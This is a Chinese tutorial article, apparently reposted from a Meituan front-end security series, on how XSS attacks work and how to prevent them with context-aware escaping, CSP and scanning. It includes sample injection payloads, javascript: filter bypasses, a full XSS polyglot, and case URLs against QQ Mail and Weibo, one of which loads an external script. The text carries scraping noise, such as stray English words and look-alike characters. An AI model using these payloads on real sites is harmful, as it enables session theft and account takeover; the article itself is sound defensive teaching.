如何防止XSS攻击?

来自: https://www.freebuf.com/articles/web/185654.htmljavascript

 

前端安全 

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引起企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题以外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。固然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来加强安全性,可是仍存在不少潜在的威胁,这须要前端技术人员不断进行“查漏补缺”。html

近几年,美团业务高速发展,前端随之面临不少安全挑战,所以积累了大量的实践经验。咱们梳理了常见的前端安全问题以及对应的解决方案,将会作成一个系列,但愿能够帮助前端人员在平常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。前端

本文咱们会讲解 XSS ,主要包括:java

1.XSS 攻击的介绍git

2.XSS 攻击的分类github

3.XSS 攻击的预防和检测golang

4.XSS 攻击的总结web

5.XSS 攻击案例数据库

XSS 攻击的介绍

在开始本文以前,咱们先提出一个问题,请判断如下两个说法是否正确:express

1.XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在全部用户提交数据的接口,对敏感字符进行转义,才能进行下一步操做。

2.全部要插入到页面上的数据,都要经过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就能够插入到页面中。

若是你还不能肯定答案,那么能够带着这些问题向下看,咱们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,咱们用发生在小明同窗身边的事例来进行说明。

一个案例

某天,公司须要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好而且上线。代码以下:

< input   type = "text"   value = "<%= getParameter(" keyword ") %> ">
< button > 搜索 </ button >
< div >
  您搜索的关键词是: < %=   getParameter (" keyword ") %>
</ div >

然而,在上线后不久,小明就接到了安全组发来的一个神秘连接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明带着一种不祥的预感点开了这个连接 [请勿模仿,确认安全的连接才能点开] 。果真,页面中弹出了写着”XSS”的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:

当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,获得 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。造成了以下的 HTML:

< input   type = "text"   value = "" > < script > alert( 'XSS' ); </ script > ">
< button > 搜索 </ button >
< div >
  您搜索的关键词是:"> < script > alert( 'XSS' ); </ script >
</ div >

浏览器没法分辨出 <script>alert('XSS');</script> 是恶意代码,于是将其执行。

这里不只仅 div 的内容被注入了,并且 input 的 value 属性也被注入, alert 会弹出两次。

面对这种状况,咱们应该如何进行防范呢?

其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就能够了。

聪明的小明很快找到解决方法,把这个漏洞修复:

< input   type = "text"   value = "<%= escapeHTML(getParameter(" keyword ")) %> ">
< button > 搜索 </ button >
< div >
  您搜索的关键词是: < %=   escapeHTML ( getParameter (" keyword ")) %>
</ div >

escapeHTML() 按照以下规则进行转义:

|字符|转义后的字符| 
|-|-| 
|&|&amp;
|<|&lt;
|>|&gt;
|"|&quot;
|'|&#x27;
|/|&#x2F;|

通过了转义函数的处理后,最终浏览器接收到的响应为:

< input   type = "text"   value = "&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;" > 
< button > 搜索 </ button >
< div >
  您搜索的关键词是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</ div >

恶意代码都被转义,再也不被浏览器执行,并且搜索词可以完美的在页面显示出来。

经过这个事件,小明学习到了以下知识:

一般页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展现。

攻击者利用这些页面的用户输入片断,拼接特殊格式的字符串,突破原有位置的限制,造成了代码片断。

攻击者经过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引起潜在风险。

经过 HTML 转义,能够防止 XSS 攻击。 [事情固然没有这么简单啦!请继续往下看] 。

注意特殊的 HTML 属性、JavaScript API

自从上次事件以后,小明会当心的把插入到页面中的数据进行转义。并且他还发现了大部分模板都带有的转义配置,让全部插入到页面中的数据都默认进行转义。这样就不怕不当心漏掉未转义的变量啦,因而小明的工做又渐渐变得轻松起来。

可是,做为导演的我,不可能让小明这么简单、开心地改 Bug 。

不久,小明又收到安全组的神秘连接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶紧点开页面。然而,页面并无自动弹出万恶的“XSS”。

小明打开对应页面的源码,发现有如下内容:

< a href = "<%= escapeHTML(getParameter(" redirect_to ")) %> ">跳转... </ a > 

这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

< a href = "javascript:alert(&#x27;XSS&#x27;)" > 跳转... </ a > 

虽然代码不会当即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

可恶,又失策了…

在这里,用户的数据并无在位置上突破咱们的限制,仍然是正确的 href 属性。但其内容并非咱们所预期的类型。

原来不只仅是特殊字符,连 javascript: 这样的字符串若是出如今特定的位置也会引起 XSS 攻击。

小明眉头一皱,想到了解决办法:

// 禁止 URL 以 "javascript:" 开头 
xss = getParameter( "redirect_to" ).startsWith( 'javascript:' );
if  (!xss) {
  <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
    跳转...
  </a>
else  {
  <a href= "/404" >
    跳转...
  </a>
}

只要 URL 的开头不是 javascript:,就安全了吧?

安全组随手又扔了一个链接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行?…..好吧,浏览器就是这么强大。

小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,而后再进行比对。

不过,所谓“道高一尺,魔高一丈”。面对小明的防御策略,安全组就构造了这样一个链接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 通过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者能够绕事后端的关键词规则,又成功的完成了注入。

最终,小明选择了白名单的方法,完全解决了这个漏洞:

// 根据项目状况进行过滤,禁止掉 "javascript:" 连接、非法 scheme 等 
allowSchemes = [ "http" ,  "https" ];

valid = isValid(getParameter( "redirect_to" ), allowSchemes);

if  (valid) {
  <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
    跳转...
  </a>
else  {
  <a href= "/404" >
    跳转...
  </a>
}

经过这个事件,小明学习到了以下知识:

1.作了 HTML 转义,并不等于高枕无忧。

2.对于连接跳转,如 &lt;a href="xxx" 或 location.href="xxx",要检验其内容,禁止以 javascript: 开头的连接,和其余非法的 scheme。

根据上下文采用不一样的转义规则

某天,小明为了加快网页的加载速度,把一个数据经过 JSON 的方式内联到 HTML 中:

< script > 
var  initData =  < %=   data.toJSON () %>
</ script >

插入 JSON 的地方不能使用 escapeHTML(),由于转义 " 后,JSON 格式会被破坏。

但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

1.当 JSON 中包含 U+2028 或 U+2029 这两个字符时,不能做为 JavaScript 的字面量使用,不然会抛出语法错误。

2.当 JSON 中包含字符串 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;经过增长下一个 <script> 标签等方法就能够完成注入。

因而咱们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。

转义规则以下:

|字符|转义后的字符| 
|-|-| 
|U+2028|\u2028
|U+2029|\u2029
|<|\u003c|

修复后的代码以下:

< script > 
var  initData =  < %=   escapeEmbedJSON ( data.toJSON ()) %>

经过这个事件,小明学习到了以下知识:

1.HTML 转义是很是复杂的,在不一样的状况下要采用不一样的转义规则。若是采用了错误的转义规则,颇有可能会埋下 XSS 隐患。

2.应当尽可能避免本身写转义库,而应当采用成熟的、业界通用的转义库。

漏洞总结

小明的例子讲完了,下面咱们来系统的看下 XSS 有哪些注入的方法:

在 HTML 中内嵌的文本中,恶意内容以 script 标签造成注入。

在内联的 JavaScript 中,拼接的数据突破了本来的限制(字符串,变量,方法名等)。

在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其余属性或者标签。

在标签的 href、src 等属性中,包含 javascript: 等可执行代码。

在 onload、onerror、onclick 等事件中,注入不受控制代码。

在 style 属性和标签中,包含相似 background-image:url("javascript:…"); 的代码(新版本浏览器已经能够防范)。

在 style 属性和标签中,包含相似 expression(…) 的 CSS 表达式代码(新版本浏览器已经能够防范)。

总之,若是开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易形成注入漏洞。攻击者能够利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

XSS 攻击的分类

经过上述几个例子,咱们已经对 XSS 有了一些认识。

什么是 XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者经过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改为了 X,因而叫作 XSS。

XSS 的本质是:恶意代码未通过滤,与网站正常的代码混在一块儿;浏览器没法分辨哪些脚本是可信的,致使恶意脚本被执行。

而因为直接在用户的终端执行,恶意代码可以直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分状况下,因为输入的限制,注入的恶意脚本比较短。但能够经过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

这里有一个问题:用户是经过哪一种方法“注入”恶意脚本的呢?

不只仅是业务上的“用户的 UGC 内容”能够进行注入,包括 URL 上的参数等均可以是攻击的来源。在处理输入时,如下内容都不可信:

来自用户的 UGC 信息

来自第三方的连接

URL 参数

POST 参数

Referer (可能来自不可信的来源)

Cookie (可能来自其余子域注入)

XSS 分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

|类型|存储区|插入点| 
|-|-| 
|存储型 XSS|后端数据库|HTML| 
|反射型 XSS|URL|HTML| 
|DOM 型 XSS|后端数据库/前端存储/URL|前端 JavaScript|

存储区:恶意代码存放的位置。

插入点:由谁取得恶意代码,并插入到网页上。

存储型 XSS

存储型 XSS 的攻击步骤:

1.攻击者将恶意代码提交到目标网站的数据库中。

2.用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。

3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操做。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

反射型 XSS

反射型 XSS 的攻击步骤:

1.攻击者构造出特殊的 URL,其中包含恶意代码。

2.用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。

3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操做。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于经过 URL 传递参数的功能,如网站搜索、跳转等。

因为须要用户主动打开恶意的 URL 才能生效,攻击者每每会结合多种手段诱导用户点击。

POST 的内容也能够触发反射型 XSS,只不过其触发条件比较苛刻(须要构造表单提交页面,并引导用户点击),因此很是少见。

DOM 型 XSS

DOM 型 XSS 的攻击步骤:

1.攻击者构造出特殊的 URL,其中包含恶意代码。

2.用户打开带有恶意代码的 URL。

3.用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。

4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操做。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其余两种 XSS 都属于服务端的安全漏洞。

XSS 攻击的预防

经过前面的介绍能够得知,XSS 攻击有两大要素:

1.攻击者提交恶意代码。

2.浏览器执行恶意代码。

针对第一个要素:咱们是否可以在用户输入的过程,过滤掉用户输入的恶意代码呢?

输入过滤

在用户提交时,由前端过滤输入,而后提交到后端。这样作是否可行呢?

答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就能够提交恶意代码了。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,而后把“安全的”内容,返回给前端。这样是否可行呢?

咱们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 &lt; 7

问题是:在提交阶段,咱们并不肯定内容要输出到哪里。

这里的“并不肯定内容要输出到哪里”有两层含义:

1.用户的输入内容可能同时提供给前端和客户端,而一旦通过了escapeHTML(),客户端显示的内容就变成了乱码( 5 &lt; 7)。

2.在前端中,不一样的位置所需的编码也不一样。

当 5 &lt; 7 做为 HTML 拼接页面时,能够正常显示:< div   title = “comment” > 5 &lt; 7 </ div >。

当 5 &lt; 7 经过 Ajax 返回,而后赋值给 JavaScript 的变量时,前端获得的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展现,也不能直接用于内容长度计算。不能用于标题、alert 等。

因此,输入侧过滤可以在某些状况下解决特定的 XSS 问题,但会引入很大的不肯定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

固然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤仍是必要的。

既然输入过滤并不是彻底可靠,咱们就要经过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

1.防止 HTML 中出现注入。

2.防止 JavaScript 执行时,执行恶意代码。

预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见作法:

1.改为纯前端渲染,把代码和数据分隔开。

2.对 HTML 作充分转义。

纯前端渲染

纯前端渲染的过程:

1.浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。

2.而后浏览器执行 HTML 中的 JavaScript。

3.JavaScript 经过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,咱们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),仍是属性(.setAttribute),仍是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在不少内部、管理系统中,采用纯前端渲染是很是合适的。但对于性能要求高,或有 SEO 需求的页面,咱们仍然要面对拼接 HTML 的问题。

转义 HTML

若是拼接 HTML 是必要的,就须要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

经常使用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义一般只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到必定的 XSS 防御做用,但并不完善:

|XSS 安全漏洞|简单转义是否有防御做用| 
|-|-| 
|HTML 标签文字内容|有| 
|HTML 属性值|有| 
|CSS 内联样式|无| 
|内联 JavaScript|无| 
|内联 JSON|无| 
|跳转连接|无|

因此要完善 XSS 防御措施,咱们要使用更完善更细致的转义策略。

例如 Java 工程里,经常使用的转义库为 org.owasp.encoder。如下代码引用自 org.owasp.encoder 的官方说明。

<!-- HTML 标签内文字内容 --> 
< div > < %=   Encode.forHtml ( UNTRUSTED ) %> </ div >

<!-- HTML 标签属性值 -->
< input   value = "<%= Encode.forHtml(UNTRUSTED) %>"  />

<!-- CSS 属性值 -->
< div   style = "width:<= Encode.forCssString(UNTRUSTED) %>" >

<!-- CSS URL -->
< div   style = "background:<= Encode.forCssUrl(UNTRUSTED) %>" >

<!-- JavaScript 内联代码块 -->
< script >
   var  msg =  "<%= Encode.forJavaScript(UNTRUSTED) %>" ;
  alert(msg);
</ script >
<!-- JavaScript 内联代码块内嵌 JSON -->
< script >
var  __INITIAL_STATE__ =  JSON .parse( '<%= Encoder.forJavaScript(data.to_json) %>' );
</ script >
<!-- HTML 标签内联监听器 -->
< button
   onclick = "alert('<%= Encode.forJavaScript(UNTRUSTED) %>');" >
  click me
</ button >
<!-- URL 参数 -->
< a   href = "/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top" >
<!-- URL 路径 -->
< a   href = "/page/<%= Encode.forUriComponent(UNTRUSTED) %>" >
<!--
  URL.
  注意:要根据项目状况进行过滤,禁止掉 "javascript:" 连接、非法 scheme 等
-->
< a   href = '<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>' >
  link
</ a >

可见,HTML 的编码是十分复杂的,在不一样的上下文里要使用相应的转义规则。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码自己不够严谨,把不可信的数据看成代码执行了。

在使用 .innerHTML.outerHTMLdocument.write() 时要特别当心,不要把不可信的数据做为 HTML 插到页面上,而应尽可能使用 .textContent.setAttribute() 等。

若是用 Vue/React 技术栈,而且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串做为代码运行。若是不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

<!-- 内联事件监听器中包含恶意代码 --> 
< img   onclick = "UNTRUSTED"   onerror = "UNTRUSTED"   src = "data:image/png," >
<!-- 连接内包含恶意代码 -->
< a   href = "UNTRUSTED" > 1 </ a >
< script >
// setTimeout()/setInterval() 中调用恶意代码
setTimeout( "UNTRUSTED" )
setInterval( "UNTRUSTED" )
// location 调用恶意代码
location.href =  'UNTRUSTED'
// eval() 中调用恶意代码
eval ( "UNTRUSTED" )
</ script >

若是项目中有用到这些的话,必定要避免在字符串中拼接不可信数据。

其余 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时,经过谨慎的转义能够防止 XSS 的发生,但彻底依靠开发的谨慎仍然是不够的。如下介绍一些通用的方案,能够下降 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中能够起到如下的做用:

禁止加载外域代码,防止复杂的攻击逻辑。

禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。

禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。

禁止未受权的脚本执行(新特性,Google Map 移动版在使用)。

合理使用上报能够及时发现 XSS,利于尽快修复问题。

关于 CSP 的详情,请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然没法彻底防止 XSS 发生,但能够增长 XSS 攻击的难度。

其余安全措施

HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也没法窃取此 Cookie。

验证码:防止脚本冒充用户提交危险操做。

XSS 的检测

上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在平常开发中也具有了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

通过一番搜索,小明找到了两个方法:

1.使用通用 XSS 攻击字符串手动检测 XSS 漏洞。

2.使用扫描工具自动检测 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

jaVasCript: /*-/*`/*\`/*'/*"/**/ ( /* */ oNcliCk=alert() ) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 

它可以检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转连接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,而且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就能够进行检测了。

http ://xxx/search?keyword=jaVasCript %3 A %2 F*- %2 F* %60 %2 F* %60 %2 F* %27 %2 F* %22 %2 F** %2 F( %2 F* %20 * %2 FoNcliCk %3 Dalert() %20 ) %2 F %2 F %250 D %250 A %250 d %250 a %2 F %2 F %3 C %2 FstYle %2 F %3 C %2 FtitLe %2 F %3 C %2 FteXtarEa %2 F %3 C %2 FscRipt %2 F--! %3 E %3 CsVg %2 F %3 CsVg %2 FoNloAd %3 Dalert() %2 F %2 F %3 E %3 E

除了手动检测以外,还可使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

XSS 攻击的总结

咱们回到最开始提出的问题,相信同窗们已经有了答案:

1.XSS 防范是后端 RD 的责任,后端 RD 应该在全部用户提交数据的接口,对敏感字符进行转义,才能进行下一步操做。

 

不正确。由于:

防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是须要后端 RD 和前端 RD 共同参与的系统工程。

转义应该在输出 HTML 时进行,而不是在提交用户输入时。

2.全部要插入到页面上的数据,都要经过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就能够插入到页面中。

不正确。 
不一样的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转连接、内联 JavaScript 字符串、内联 CSS 样式表等,所须要的转义规则不一致。 
业务 RD 须要选取合适的转义库,并针对不一样的上下文调用不一样的转义规则。

总体的 XSS 防范是很是复杂和繁琐的,咱们不只须要在所有须要转义的位置,对数据进行对应的转义。并且要防止多余和错误的转义,避免正常的用户输入出现乱码。

虽然很难经过技术手段彻底避免 XSS,但咱们能够总结如下原则减小漏洞的产生:

利用模板引擎

开启模板引擎自带的 HTML 转义功能。例如: 

在 ejs 中,尽可能使用 <%= data %> 而不是 <%- data %>; 

在 doT.js 中,尽可能使用 {{! data } 而不是 {{= data }; 

在 FreeMarker 中,确保引擎版本高于 2.3.24,而且选择正确的 freemarker.core.OutputFormat

避免内联事件

尽可能不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中经过 .addEventlistener() 事件绑定会更安全。

避免拼接 HTML

前端采用拼接 HTML 的方法比较危险,若是框架容许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。

时刻保持警戒

在插入位置为 DOM 属性、连接等位置时,要打起精神,严加防范。

增长攻击难度,下降攻击后果

经过 CSP、输入长度配置、接口安全措施等方法,增长攻击的难度,下降攻击的后果。

主动检测和发现

可以使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

XSS 攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

因而攻击者构建出一个 URL,并引导用户去点击: 
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

<script> 
getTop().location.href= "/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa" + "&t=" + "&d=bbbb" ; return   false ; </ script > < script > alert( document .cookie) </ script > "+"...

浏览器接收到响应后就会执行 alert(document.cookie),攻击者经过 JavaScript 便可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未通过滤直接输出到 HTML 中。

因而攻击者构建出一个 URL,而后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

<li> <a href = "http://weibo.com/pub/star/g/xyyyd" > < script   src = //xxxx.cn/image/t.js > </ script > ">按分类检索 </ a > </ li > 

浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登陆状态进行关注、发微博、发私信等操做,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

扩展阅读:Automatic Context-Aware Escaping

上文咱们说到:

1.合适的 HTML 转义能够有效避免 XSS 漏洞。

2.完善的转义库须要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转连接、内联 JavaScript 字符串、内联 CSS 样式表等等。

3.业务 RD 须要根据每一个插入点所处的上下文,选取不一样的转义规则。

一般,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,须要每一个业务 RD 都充分理解 XSS 的各类状况,而且须要保证每个插入点使用了正确的转义规则。

这种机制工做量大,全靠人工保证,很容易形成 XSS 漏洞,安全人员也很难发现隐患。

2009年,Google 提出了一个概念叫作:Automatic Context-Aware Escaping

所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每一个插入点所处的上下文,据此自动选用不一样的转义规则。这样就减轻了业务 RD 的工做负担,也减小了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 能够这样定义模板,而无需手动实施转义规则:

< html > 
   < head >
     < meta   charset = "UTF-8" >
     < title > {{.title}} </ title >
   </ head >
   < body >
     < a   href = "{{.url}}" > {{.content}} </ a >
   </ body >
</ html >

模板引擎通过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

< html > 
   < head >
     < meta   charset = "UTF-8" >
     < title > {{.title | htmlescaper}} </ title >
   </ head >
   < body >
     < a   href = "{{.url | urlescaper | attrescaper}}" > {{.content | htmlescaper}} </ a >
   </ body >
</ html >

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

1.go html/template

2.Google Closure Templates

课后做业:XSS 攻击小游戏

如下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击便可通关。

在玩游戏的过程当中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

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XSS game

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